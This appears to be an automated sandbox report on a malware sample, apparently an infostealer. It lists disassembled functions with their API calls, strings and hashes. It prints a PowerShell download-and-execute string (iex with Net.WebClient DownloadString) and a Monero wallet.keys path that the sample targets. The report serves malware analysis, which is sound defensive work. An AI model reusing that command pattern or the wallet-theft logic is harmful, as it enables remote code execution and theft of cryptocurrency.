API String ID: 3066467675-0
Opcode ID: 367745569bbe20eaa8d75b55cdf8c21bc4246cd5b55550b43126985601f653f6
Instruction ID: 535a3180619de73812b5cda365de7a27e886d9a0ac734eeef574cae12c782cab
Opcode Fuzzy Hash: 367745569bbe20eaa8d75b55cdf8c21bc4246cd5b55550b43126985601f653f6
Instruction Fuzzy Hash: 0C31F8B4A40218ABDB20CF54DC85BDDB7B4EB48704F5081D9FA09A7281D7706EC58FA9

Function 00B183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B18426
wsprintfA.USER32 ref: 00B18459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B1847B
RegCloseKey.ADVAPI32(00000000), ref: 00B1848C
RegCloseKey.ADVAPI32(00000000), ref: 00B18499

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

RegQueryValueExA.ADVAPI32(00000000,011FD9D0,00000000,000F003F,?,00000400), ref: 00B184EC
lstrlen.KERNEL32(?), ref: 00B18501
RegQueryValueExA.ADVAPI32(00000000,011FDAF0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B20B34), ref: 00B18599
RegCloseKey.ADVAPI32(00000000), ref: 00B18608
RegCloseKey.ADVAPI32(00000000), ref: 00B1861A

Strings

%s\%s, xrefs: 00B1844D

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: fb42f9997921626160cdef0b7e13227dbb6f77705401a5ce0356bc8bdb3a1698
Instruction ID: b505994039278ddb52b37c9d7f5f3ea22ae54584441d0c8f6d5c5e48104eb98c
Opcode Fuzzy Hash: fb42f9997921626160cdef0b7e13227dbb6f77705401a5ce0356bc8bdb3a1698
Instruction Fuzzy Hash: 2D210775950228ABDB24DF54DC85FE9B3B8FB48700F40C1D9A609A6280DF716A86CFE4

Function 00B17690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B176A4
RtlAllocateHeap.NTDLL(00000000), ref: 00B176AB
RegOpenKeyExA.ADVAPI32(80000002,011EBD58,00000000,00020119,00000000), ref: 00B176DD
RegQueryValueExA.ADVAPI32(00000000,011FDA78,00000000,00000000,?,000000FF), ref: 00B176FE
RegCloseKey.ADVAPI32(00000000), ref: 00B17708

Strings

Windows 11, xrefs: 00B176BD

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ffa047f1c3f9edce7c54ecce58b90aa449065822ad1121b7e58a097f247160e2
Instruction ID: 5566263740d1f64dfca7b354a26902d35376274a95f30e8ae8bbfca0a3f74168
Opcode Fuzzy Hash: ffa047f1c3f9edce7c54ecce58b90aa449065822ad1121b7e58a097f247160e2
Instruction Fuzzy Hash: 37014FB9A84308BBE700DFE8DC49FADB7BCEB49701F504095FA05D7291EA7499408F61

Function 00B17720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17734
RtlAllocateHeap.NTDLL(00000000), ref: 00B1773B
RegOpenKeyExA.ADVAPI32(80000002,011EBD58,00000000,00020119,00B176B9), ref: 00B1775B
RegQueryValueExA.ADVAPI32(00B176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B1777A
RegCloseKey.ADVAPI32(00B176B9), ref: 00B17784

Strings

CurrentBuildNumber, xrefs: 00B17771

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 2362138fcc114d510f870bb7cf9764d17523a1d6ee5fa71f841dfeab5f47cb6f
Instruction ID: af845f25f709cf5e47ca8ced284c6d234048d78f208d4d925073267f9e553381
Opcode Fuzzy Hash: 2362138fcc114d510f870bb7cf9764d17523a1d6ee5fa71f841dfeab5f47cb6f
Instruction Fuzzy Hash: E00144B9A80308BBE710DFE4DC49FAEB7B8EB44700F104195FA05E7281DA7059408F61

Function 00B099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B09A11
LocalAlloc.KERNEL32(00000040,?), ref: 00B09A31
ReadFile.KERNEL32(000000FF,?,00000000,00B0148F,00000000), ref: 00B09A5A
LocalFree.KERNEL32(00B0148F), ref: 00B09A90
CloseHandle.KERNEL32(000000FF), ref: 00B09A9A

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 6b006f8de7fbb57348413e8ce0e6621b14dd417e5e988f3cfc4476a11dd86799
Instruction ID: bb795f31f56cb89904ab634c03d6a119db740863afb8459f1b83c3b179e97adf
Opcode Fuzzy Hash: 6b006f8de7fbb57348413e8ce0e6621b14dd417e5e988f3cfc4476a11dd86799
Instruction Fuzzy Hash: C731F874A40209EFDB14CF94C985BAEBBF5FF49350F108198E911A7390D774A941CFA1

Function 00B14780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,011FDC28), ref: 00B147DB

Part of subcall function 00B18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B18E0B

lstrcat.KERNEL32(?,00000000), ref: 00B14801
lstrcat.KERNEL32(?,?), ref: 00B14820
lstrcat.KERNEL32(?,?), ref: 00B14834
lstrcat.KERNEL32(?,011EB0E0), ref: 00B14847
lstrcat.KERNEL32(?,?), ref: 00B1485B
lstrcat.KERNEL32(?,011FD458), ref: 00B1486F

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B18D90: GetFileAttributesA.KERNEL32(00000000,?,00B01B54,?,?,00B2564C,?,?,00B20E1F), ref: 00B18D9F

Part of subcall function 00B14570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B14580
Part of subcall function 00B14570: RtlAllocateHeap.NTDLL(00000000), ref: 00B14587
Part of subcall function 00B14570: wsprintfA.USER32 ref: 00B145A6
Part of subcall function 00B14570: FindFirstFileA.KERNEL32(?,?), ref: 00B145BD

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 485dc7b5b113f3ddbcbb2cdaca246496093d2529866a7b319907c5d0d90ba4e3
Instruction ID: b4ca9e36f27d1441d1a137a9153a433666fe4f5ae9e5f405e1a1c7f886adad22
Opcode Fuzzy Hash: 485dc7b5b113f3ddbcbb2cdaca246496093d2529866a7b319907c5d0d90ba4e3
Instruction Fuzzy Hash: 613171BA94030867DB14FBB0DC85EED73BCBB58700F8045D9B31996081EE74A7C98BA5

Function 00B12C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B12D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B12D04
')", xrefs: 00B12CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B12CC4
<, xrefs: 00B12D39

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 1c5a11a7c1f987783231e994d9bd73e3cc687df6d6a82531461e7a5511890bd0
Instruction ID: 2934d97566983950181b7e35bb3ec32d9084a681ba17749d08122bbca44e84eb
Opcode Fuzzy Hash: 1c5a11a7c1f987783231e994d9bd73e3cc687df6d6a82531461e7a5511890bd0
Instruction Fuzzy Hash: 2B41AD71D112089ADB14FFA0D991FDDB7B8AF14310F804199E116B6192DF747ACACF91

Function 00B09E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00B09F41

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Strings

v10, xrefs: 00B09EA3
v20, xrefs: 00B09E21
@, xrefs: 00B09EF1
ERROR_RUN_EXTRACTOR, xrefs: 00B09E67

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a0809c790c85ae3d25a74c78d3c9f1b14b55f613a4c3360beb16ea1806289fd6
Instruction ID: 8192fa2eedbf2b3004d12bc8ed7c9a8c06cec65e8d0a653cf25e8428577a9169
Opcode Fuzzy Hash: a0809c790c85ae3d25a74c78d3c9f1b14b55f613a4c3360beb16ea1806289fd6
Instruction Fuzzy Hash: E7615D70A102089BDB24EFA4DC96FED77F9AF50300F408458F90A5F1D1EB706A46CB52

Function 00B140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,011FD718,00000000,00020119,?), ref: 00B140F4
RegQueryValueExA.ADVAPI32(?,011FDD30,00000000,00000000,00000000,000000FF), ref: 00B14118
RegCloseKey.ADVAPI32(?), ref: 00B14122
lstrcat.KERNEL32(?,00000000), ref: 00B14147
lstrcat.KERNEL32(?,011FDC70), ref: 00B1415B

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 731a334f30e511164672e509e0e2833919e1f5584e26bb732fd30f326896ceef
Instruction ID: 0a9142993a4080d69646280554e9ef927c6d6a0027bc21b0edc6807669e6f83b
Opcode Fuzzy Hash: 731a334f30e511164672e509e0e2833919e1f5584e26bb732fd30f326896ceef
Instruction Fuzzy Hash: B641DBB6D40208ABDB14EFA4DC46FFD377DAB48300F404998B615961C1EE755B888BF2

Function 00B16920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B1696C
sscanf.NTDLL ref: 00B16999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B169B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B169C0
ExitProcess.KERNEL32 ref: 00B169DA

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 48df913dd22a43a4bf809243b5eb571123c75d1215eb8887585abc29330bff1b
Instruction ID: cbdbc3727dcd333919696d7a8f5c54b5014a255bae01d8a894e5f104c2d40e15
Opcode Fuzzy Hash: 48df913dd22a43a4bf809243b5eb571123c75d1215eb8887585abc29330bff1b
Instruction Fuzzy Hash: EA21EA75D14208ABCF04EFE8D945AEEB7B5FF48300F04856AE406E3250EB345605CBA5

Function 00B17E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17E37
RtlAllocateHeap.NTDLL(00000000), ref: 00B17E3E
RegOpenKeyExA.ADVAPI32(80000002,011EB818,00000000,00020119,?), ref: 00B17E5E
RegQueryValueExA.ADVAPI32(?,011FD418,00000000,00000000,000000FF,000000FF), ref: 00B17E7F
RegCloseKey.ADVAPI32(?), ref: 00B17E92

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a83d640789b6aa6ed70fe6a64289a4141be4f6d5e5b8c552f190125f931db89d
Instruction ID: c2ceeddf64c0c189d396d7bc662cc7df561239ad6dec528b4ba5df22ed554df9
Opcode Fuzzy Hash: a83d640789b6aa6ed70fe6a64289a4141be4f6d5e5b8c552f190125f931db89d
